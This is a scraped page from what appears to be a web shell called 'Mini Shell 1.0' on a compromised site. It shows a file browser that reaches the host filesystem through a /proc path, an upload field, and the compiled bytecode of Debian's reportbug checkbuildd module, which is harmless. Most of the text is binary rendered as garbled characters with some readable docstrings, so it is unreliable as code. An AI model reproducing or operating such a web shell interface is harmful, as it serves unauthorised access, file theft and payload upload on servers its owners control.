HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/1784574/root/usr/lib/python3/dist-packages/reportbug/__pycache__/
Upload File :
Current File : //proc/1784574/root/usr/lib/python3/dist-packages/reportbug/__pycache__/checkbuildd.cpython-311.pyc
�

�&=d�
��^�ddlmZddlmZddlmZddlmZdZGd�de��Z	dd
�Z
d	S)�)�
HTMLParser�)�utils)�open_url)�	NoNetworkz2https://buildd.debian.org/build.php?arch=%s&pkg=%sc�4�eZdZd�Zd�Zd�Zd	d�Zd�Zd�ZdS)
�BuilddParserc�X�tj|��i|_d|_d|_dS)NF)r�__init__�versions�savedata�found_succeeded��selfs �7/usr/lib/python3/dist-packages/reportbug/checkbuildd.pyrzBuilddParser.__init__%s/����D�!�!�!���
���
�$�����c�6�|j�|j|z|_dSdS)N�r
)r�datas  r�handle_datazBuilddParser.handle_data.s$���=�$� �M�D�0�D�M�M�M�%�$rc��d|_dS)N�rrs r�save_bgnzBuilddParser.save_bgn3s
����
�
�
rrc�x�|j}d|_|s)|�'d�|�����}|S)N� )r
�join�split)r�moders   r�save_endzBuilddParser.save_end6s;���}����
��	*��(��8�8�D�J�J�L�L�)�)�D��rc�>�|dkr|���dSdS)N�td)r)r�tag�attrss   r�handle_starttagzBuilddParser.handle_starttag=s#���$�;�;��M�M�O�O�O�O�O��;rc��|dkr5|���}|r!d|���vr
d|_dSdSdSdS)Nr!�
successfulT)r�lowerr)rr"rs   r�
handle_endtagzBuilddParser.handle_endtagAsW���$�;�;��=�=�?�?�D��
,���
�
���4�4�'+��$�$�$��;�
,�
,�4�4rN)r)	�__name__�
__module__�__qualname__rrrrr$r(�rrr	r	$ss������%�%�%�1�1�1�
����������,�,�,�,�,rr	Nc���|stj��}	tt||fz||��}n#t$rYdSwxYw|sdSt��}|�|��|jS)a

    Check if a source package was built successfully on a buildd

    The check is not about a specific package version. If `arch` is not
    given and there is evidence that any version of the package once
    built sucessfully on any architecture, this function returns True.

    If `arch` is given, the check is restricted to that architecture.

    Parameters
    ----------
    src_package : str
        name of a source package
    timeout : int
        connection timeout in seconds
    arch : str, optional
        the arch to be checked
    http_proxy : str, optional
        Http proxy url to use for connection

    Returns
    -------
    bool
        True if the connection succeeded and the package was found to
        have built successfully, otherwise False
    F)r�get_archr�
BUILDD_URLrr	�feedr)�src_package�timeout�arch�
http_proxy�page�parsers      r�check_builtr7Hs���6� ��~������
�d�K�%8�8�*�g�N�N���������u�u��������u�
�^�^�F�
�K�K������!�!s�3�
A�A)NN)�html.parserrrr�urlutilsr�reportbug.exceptionsrr/r	r7r,rr�<module>r;s���0#�"�"�"�"�"�������������������B�
�!,�!,�!,�!,�!,�:�!,�!,�!,�H)"�)"�)"�)"�)"�)"r